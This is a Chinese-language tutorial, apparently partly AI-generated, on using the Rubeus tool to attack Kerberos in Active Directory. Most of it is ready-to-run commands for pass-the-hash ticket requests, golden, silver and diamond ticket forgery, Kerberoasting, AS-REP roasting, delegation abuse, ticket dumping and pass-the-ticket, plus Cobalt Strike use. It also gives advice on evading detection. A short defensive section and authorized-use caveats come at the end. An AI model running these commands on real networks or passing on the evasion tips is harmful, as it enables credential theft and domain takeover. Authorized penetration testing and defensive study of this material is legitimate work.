Rubeus终极指南:掌握Kerberos协议安全测试的完整实战手册
【免费下载链接】Rubeus Trying to tame the three-headed dog. 项目地址: https://gitcode.com/gh_mirrors/ru/Rubeus
Rubeus是一款专业的C#工具集,专门用于Kerberos协议的原始交互和滥用分析。作为Active Directory安全评估领域的利器,Rubeus为安全研究人员和红队成员提供了全面的Kerberos协议操作能力。本文将深入解析Rubeus的核心功能、实战应用场景以及高级操作技巧,帮助中级技术用户全面掌握这款强大的Kerberos安全测试工具。
📋 项目概述与核心价值
Rubeus基于Benjamin Delpy的Kekeo项目和Vincent LE TOUX的MakeMeEnterpriseAdmin项目构建,专注于Kerberos协议的低级操作。该项目采用C#编写,支持多种Kerberos攻击技术,包括票据请求、票据伪造、票据提取和监控等功能。
核心架构特点:
- 完整的Kerberos协议实现
- 支持多种加密类型(RC4、AES128、AES256、DES)
- 模块化命令设计,易于扩展
- 与Windows LSA API深度集成
🚀 快速入门指南
环境准备与编译
首先克隆项目仓库:
git clone https://gitcode.com/gh_mirrors/ru/Rubeus
使用Visual Studio或.NET CLI编译项目:
cd Rubeus
dotnet build Rubeus.sln
基础命令结构
Rubeus采用命令式设计,基本语法为:
Rubeus.exe <命令> /参数1:值1 /参数2:值2
常用基础命令示例:
# 查看帮助信息
Rubeus.exe help
# 列出当前票据
Rubeus.exe klist
# 清除当前会话票据
Rubeus.exe purge
🔧 核心功能深度解析
票据请求与获取
Rubeus支持多种票据获取方式,包括基于密码、哈希和证书的认证:
基于哈希的TGT请求:
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /domain:corp.local /ptt
基于证书的PKINIT认证:
Rubeus.exe asktgt /user:user@domain.local /certificate:cert.pfx /password:certpass /ptt
无预认证票据请求:
Rubeus.exe asktgt /user:vulnerableuser /nopreauth /domain:corp.local
服务票据操作
获取服务票据是Kerberos攻击中的关键步骤:
# 基于现有TGT请求服务票据
Rubeus.exe asktgs /ticket:BASE64_TGT /service:cifs/fileserver.corp.local /ptt
# 请求多个服务票据
Rubeus.exe asktgs /ticket:BASE64_TGT /service:LDAP/dc1.corp.local,cifs/dc1.corp.local /ptt
票据伪造技术
Rubeus支持多种票据伪造技术,包括黄金票据和白银票据:
黄金票据伪造:
Rubeus.exe golden /rc4:KRBTGT_NTLM_HASH /user:administrator /domain:corp.local /sid:S-1-5-21-... /ptt
白银票据伪造:
Rubeus.exe silver /rc4:SERVICE_NTLM_HASH /user:administrator /service:cifs/fileserver.corp.local /domain:corp.local /sid:S-1-5-21-... /ptt
票据提取与管理
Rubeus提供了强大的票据提取和管理功能:
# 提取所有票据(需要管理员权限)
Rubeus.exe dump /nowrap
# 分类查看票据
Rubeus.exe triage
# 监控新票据出现
Rubeus.exe monitor /interval:30
🎯 实战应用场景
场景1:Kerberoasting攻击
Kerberoasting是一种经典的攻击技术,通过请求服务票据并离线破解来获取服务账户凭据:
# 执行Kerberoasting攻击
Rubeus.exe kerberoast /outfile:hashes.txt
# 针对特定用户
Rubeus.exe kerberoast /user:sqlservice /domain:corp.local
# 使用LDAPS协议
Rubeus.exe kerberoast /ldaps /outfile:hashes.txt
场景2:AS-REP Roasting攻击
针对不需要Kerberos预认证的用户账户进行攻击:
# 扫描无预认证账户
Rubeus.exe preauthscan /users:users.txt /domain:corp.local
# 执行AS-REP Roasting
Rubeus.exe asreproast /outfile:asrep_hashes.txt
场景3:约束委派滥用
利用配置了约束委派的账户进行权限提升:
# S4U2Self和S4U2Proxy攻击
Rubeus.exe s4u /user:delegationaccount$ /rc4:DELEGATION_HASH /impersonateuser:administrator /msdsspn:cifs/dc.corp.local /ptt
场景4:票据传递攻击
在横向移动中传递和重用票据:
# 导出票据到文件
Rubeus.exe dump /luid:0x3e4 /nowrap > ticket.kirbi
# 在其他系统上导入票据
Rubeus.exe ptt /ticket:ticket.kirbi
场景5:钻石票据攻击
更高级的票据操作技术:
# 钻石票据伪造
Rubeus.exe diamond /user:user /password:password /krbkey:KRBTGT_KEY /ticketuser:targetuser /groups:512,513 /ptt
🔐 高级技巧与最佳实践
操作安全考虑
在使用Rubeus时,需要注意以下操作安全要点:
- 加密类型选择:优先使用AES加密而非RC4,减少检测风险
- 进程伪装:使用
/createnetonly创建隐蔽进程 - 网络流量伪装:避免异常Kerberos流量模式
- 时间同步:确保系统时间与域控制器同步
高级参数配置
网络代理支持:
Rubeus.exe asktgt /user:user /rc4:HASH /proxyurl:https://kdcproxy.example.com/kdcproxy
自定义票据属性:
Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:corp.local /sid:SID /groups:512,513,520 /starttime:+0 /endtime:+10 /renewtill:+7 /ptt
企业主体支持:
Rubeus.exe kerberoast /enterprise /spn:user@domain.com
自动化脚本集成
Rubeus可以与其他工具集成实现自动化攻击链:
# PowerShell集成示例
$ticket = Rubeus.exe asktgt /user:user /rc4:HASH /nowrap
$ticket | Out-File -FilePath "ticket.kirbi"
# 在Cobalt Strike中执行
execute-assembly Rubeus.exe asktgt /user:user /rc4:HASH /ptt
❓ 常见问题解答
Q1: Rubeus与Mimikatz有何区别?
A: Rubeus专注于Kerberos协议操作,而Mimikatz提供更广泛的凭据提取功能。Rubeus不直接操作LSASS内存,在某些环境中更难以检测。
Q2: 如何避免被安全产品检测?
A: 使用/opsec参数生成更符合正常行为的Kerberos流量,避免使用RC4加密,合理控制请求频率。
Q3: Rubeus支持哪些操作系统?
A: Rubeus主要针对Windows环境设计,需要.NET Framework 4.0或更高版本支持。
Q4: 如何处理票据格式转换?
A: Rubeus使用.kirbi格式,可以通过base64编码与其他工具交互。使用/nowrap参数避免自动换行。
Q5: 如何调试Kerberos协议问题?
A: 使用/debug参数输出ASN.1调试信息,帮助分析协议交互细节。
⚠️ 安全注意事项
合法使用范围
Rubeus仅应在以下场景中使用:
- 授权的渗透测试
- 安全研究环境
- 红队演练活动
- 企业内部安全评估
风险缓解措施
组织应采取以下防御措施:
- 实施强密码策略:特别是服务账户
- 监控Kerberos流量:检测异常模式
- 定期轮换KRBTGT密码:每180天至少一次
- 禁用RC4加密:强制使用AES加密
- 实施特权账户管理:限制委派配置
检测与响应
安全团队应监控以下指标:
- 非lsass.exe进程的Kerberos流量
- 异常的加密降级行为
- 异常的票据请求模式
- 来自非域加入系统的Kerberos请求
📚 社区与资源
学习资源
官方文档:项目README提供了完整的命令参考和示例 核心源码:Rubeus/lib/目录包含Kerberos协议的核心实现 示例配置:虽然没有专门的示例目录,但README中的命令示例非常丰富
扩展开发
Rubeus采用模块化设计,易于扩展新功能:
// 自定义命令示例
public class CustomCommand : ICommand
{
public void Execute(Dictionary<string, string> arguments)
{
// 实现自定义逻辑
}
}
最佳实践建议
- 测试环境验证:在生产环境使用前充分测试
- 最小权限原则:使用必要的最低权限执行操作
- 日志记录:记录所有操作便于审计
- 版本控制:使用稳定版本,避免开发版的不稳定性
🎓 总结与展望
Rubeus作为专业的Kerberos安全测试工具,为安全研究人员提供了强大的Kerberos协议操作能力。通过深入理解Kerberos协议机制,Rubeus能够模拟多种真实攻击场景,帮助组织评估和改进Active Directory安全防护。
未来发展方向可能包括:
- 支持更多Kerberos扩展协议
- 增强隐蔽性和反检测能力
- 提供更丰富的报告和日志功能
- 集成更多自动化测试场景
无论您是安全研究人员、渗透测试人员还是防御工程师,掌握Rubeus的使用都将大大提升您在Active Directory安全领域的专业能力。记住,强大的工具需要负责任的运用,始终在授权范围内进行安全测试。
【免费下载链接】Rubeus Trying to tame the three-headed dog. 项目地址: https://gitcode.com/gh_mirrors/ru/Rubeus
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



